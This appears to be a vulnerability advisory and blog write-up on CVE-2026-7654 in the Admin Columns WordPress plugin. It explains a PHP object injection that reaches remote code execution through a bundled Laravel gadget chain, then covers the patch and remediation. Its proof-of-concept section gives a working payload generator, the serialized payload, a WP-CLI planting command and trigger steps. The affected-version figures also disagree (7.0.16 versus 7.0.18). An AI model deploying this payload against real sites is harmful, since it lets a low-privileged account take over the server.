CVE-2026-7654: Admin Columns PHP Object Injection to RCE (CVSS 8.8)
Table of Contents
CVE-2026-7654 is a CVSS 8.8 (High) PHP Object Injection vulnerability in the Admin Columns WordPress plugin. An authenticated attacker with Contributor-level access can write a malicious serialized PHP object into a post’s custom meta field. When the site admin views the post list, Admin Columns deserializes the value without class restrictions. This triggers a bundled POP gadget chain that results in Remote Code Execution as the web server user.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Admin Columns |
| Plugin Slug | codepress-admin-columns |
| CVE ID | CVE-2026-7654 |
| CVSS Score | 8.8 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | PHP Object Injection → Remote Code Execution (Deserialization of Untrusted Data) |
| Affected Versions | <= 7.0.16 |
| Patched Version | 7.0.19 |
| Published | June 5, 2026 |
| Researcher | Osvaldo Noe Gonzalez Del Rio (Os) |
| Wordfence Advisory | Link |
Description
Admin Columns is a WordPress plugin that lets administrators customize the columns shown in the post list table (/wp-admin/edit.php). It supports a “Custom Field” column type that reads and formats post meta values.
The plugin supports several field-type formatters for custom fields. When the field type is set to “Post”, “User”, or “Media (multiple)”, the plugin uses the IdsToCollection formatter. That formatter receives a raw meta value and tries to convert it into a collection of IDs. Part of that logic calls unserialize() on the meta value without restricting which PHP classes are allowed. This allows PHP Object Injection.
The plugin bundles the laravel/serializable-closure library, which contains a usable POP (Property-Oriented Programming) gadget chain. An attacker can craft a serialized payload using the Native class from that library. When deserialized, this class registers a custom PHP stream wrapper and then includes a URL through it. The stream wrapper injects attacker-controlled PHP code as the return value of the include. This achieves Remote Code Execution.
Technical Analysis
How the Meta Value Reaches unserialize()
The exploitation path starts with how WordPress stores and retrieves post meta.
When a user saves a post meta value through the WordPress admin (Custom Fields meta box), WordPress calls update_post_meta(). Internally, WordPress calls maybe_serialize() on the value. If the value looks like a serialized PHP string, WordPress double-serializes it. It wraps the entire serialized string inside another s:<len>:"..." serialized string. This preserves the inner value as a plain string in the database.
When Admin Columns renders a post row, it calls Meta::format(). That method calls get_metadata() with $single = true. WordPress fetches the raw database value and calls maybe_unserialize(). This unserializes the outer wrapper and returns the inner serialized PHP object string — as a plain string, not yet a PHP object.
// classes/Formatter/Meta.php — line 34
$meta_value = get_metadata(
(string)$this->meta_type,
(int)$value->get_id(),
$this->meta_key,
$this->single // true — single value
);
The returned string is passed to IdsToCollection::format(), which calls get_ids_from_string().
The Vulnerable unserialize() Call
Inside get_ids_from_string(), the code checks whether the string is serialized using is_serialized(). If it is, it calls unserialize() directly without restricting which PHP classes may be instantiated.
// classes/Formatter/IdsToCollection.php — line 41-43 (vulnerable version 7.0.16)
if (is_serialized($value)) {
$ids = @unserialize($value); // ← no allowed_classes restriction
if (is_array($ids)) {
return $this->sanitise_ids($ids);
}
}
The malicious serialized string passes is_serialized() and reaches unserialize(). PHP instantiates the Native class and calls its __unserialize() magic method.
The POP Gadget Chain
The Native class is part of the bundled laravel/serializable-closure library (namespaced as AC\Vendor\Laravel\SerializableClosure\Serializers\Native). Its __unserialize() method performs two key operations.
Step 1: It calls ClosureStream::register(). This registers a custom PHP stream wrapper under the protocol laravel-serializable-closure://.
// vendor/laravel/serializable-closure/src/Support/ClosureStream.php — line 151-155
public static function register()
{
if (!static::$isRegistered) {
static::$isRegistered = \stream_wrapper_register(static::STREAM_PROTO, __CLASS__);
}
}
Step 2: It includes a URL built from the attacker-controlled function property.
// vendor/laravel/serializable-closure/src/Serializers/Native.php — line 148
$this->closure = (include ClosureStream::STREAM_PROTO . '://' . $this->code['function']);
Because the stream wrapper is now active, PHP calls ClosureStream::stream_open() to handle this URL. That method constructs PHP code from the URL path:
// vendor/laravel/serializable-closure/src/Support/ClosureStream.php — line 47
$this->content = "<?php\nreturn " . \substr($path, \strlen(static::STREAM_PROTO . '://')) . ';';
The function property value is embedded directly into a return statement and included as PHP code. Because the attacker controls this value through the serialized payload, they control what code runs.
Execution Flow Summary
Contributor writes malicious post meta
↓
WordPress double-serializes on save (update_post_meta)
↓
Admin views post list (/wp-admin/edit.php)
↓
Admin Columns → Meta::format() → get_metadata($single=true)
↓
WordPress maybe_unserialize() → returns inner serialized string
↓
IdsToCollection::get_ids_from_string()
↓
is_serialized() → true
↓
unserialize() [no allowed_classes] → Native::__unserialize()
↓
ClosureStream::register() → registers laravel-serializable-closure:// wrapper
↓
include "laravel-serializable-closure://<attacker_code>"
↓
ClosureStream::stream_open() → PHP code: "<?php\nreturn <attacker_code>;"
↓
RCE as web server user
Proof of Concept
Disclaimer: This Proof of Concept is provided for educational and authorized security testing purposes only. Do not test on systems you do not own or have explicit written permission to test.
Prerequisites:
- Admin Columns plugin installed and activated (version <= 7.0.18)
- A “Custom Field” column configured in Admin Columns with field type set to “Post”, “User”, or “Media (multiple)”
- Attacker has a Contributor-level WordPress account
- The configured meta key is the one used in the attack
Step 1: Generate the malicious payload
Run this PHP snippet to build the serialized object payload:
<?php
$func = '(function(){file_put_contents("/tmp/ac_rce_proof.txt",shell_exec("id"));return function(){};})()';
$class = 'AC\Vendor\Laravel\SerializableClosure\Serializers\Native';
$payload = sprintf(
'O:%d:"%s":5:{s:3:"use";N;s:8:"function";s:%d:"%s";s:5:"scope";N;s:4:"this";N;s:4:"self";s:0:"";}',
strlen($class), $class, strlen($func), $func
);
echo $payload;
This produces:
O:56:"AC\Vendor\Laravel\SerializableClosure\Serializers\Native":5:{s:3:"use";N;s:8:"function";s:96:"(function(){file_put_contents("/tmp/ac_rce_proof.txt",shell_exec("id"));return function(){};})()";s:5:"scope";N;s:4:"this";N;s:4:"self";s:0:"";}
Step 2: Save the payload as a post meta value (as Contributor)
Log in as a Contributor. Create or edit a post. Expand the Custom Fields meta box. Add the custom field key that matches the Admin Columns column configuration (e.g., ac_ids_column). Paste the payload string from Step 1 as the value. Click Update or Publish.
WordPress will double-serialize the value on save, storing it safely wrapped as a plain string in the database.
Alternatively, using WP-CLI to set the raw value directly (for test environments):
# Set the malicious meta value directly on post ID 42
wp post meta update 42 ac_ids_column 'O:56:"AC\Vendor\Laravel\SerializableClosure\Serializers\Native":5:{s:3:"use";N;s:8:"function";s:96:"(function(){file_put_contents("/tmp/ac_rce_proof.txt",shell_exec("id"));return function(){};})()";s:5:"scope";N;s:4:"this";N;s:4:"self";s:0:"";}'
Step 3: Trigger the exploit
An admin (or the Contributor themselves) visits the post list page:
https://target.com/wp-admin/edit.php
Admin Columns renders the column for the post. The IdsToCollection formatter deserializes the payload. The Native::__unserialize() gadget runs and executes the PHP code.
Step 4: Verify RCE
cat /tmp/ac_rce_proof.txt
# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Patch Analysis
The fix is a single-line change in classes/Formatter/IdsToCollection.php:
if (is_serialized($value)) {
- $ids = @unserialize($value);
+ $ids = @unserialize($value, ['allowed_classes' => false]);
Adding ['allowed_classes' => false] tells PHP not to instantiate any class during deserialization. If the serialized data contains an object, PHP creates an __PHP_Incomplete_Class placeholder instead. The __unserialize() magic method is never called. The POP gadget chain cannot fire.
Because get_ids_from_string() only needs to extract an array of integer IDs, the fix does not break any valid use case. Serialized arrays of integers (which is the only legitimate input the formatter is designed to handle) are still deserialized correctly. Only PHP objects are blocked.
Timeline
| Date | Event |
|---|---|
| June 5, 2026 | Wordfence publicly published the advisory |
| June 5, 2026 | Patched version 7.0.19 released |
| June 7, 2026 | This blog post published |
Remediation
Update Admin Columns to version 7.0.19 or later. You can do this from the WordPress admin dashboard under Plugins → Installed Plugins, or by downloading the latest version from wordpress.org.
# Using WP-CLI
wp plugin update codepress-admin-columns
If you cannot update immediately, consider restricting Contributor-level user registrations or disabling the Admin Columns custom field columns that use the “Post”, “User”, or “Media (multiple)” field type until the update is applied.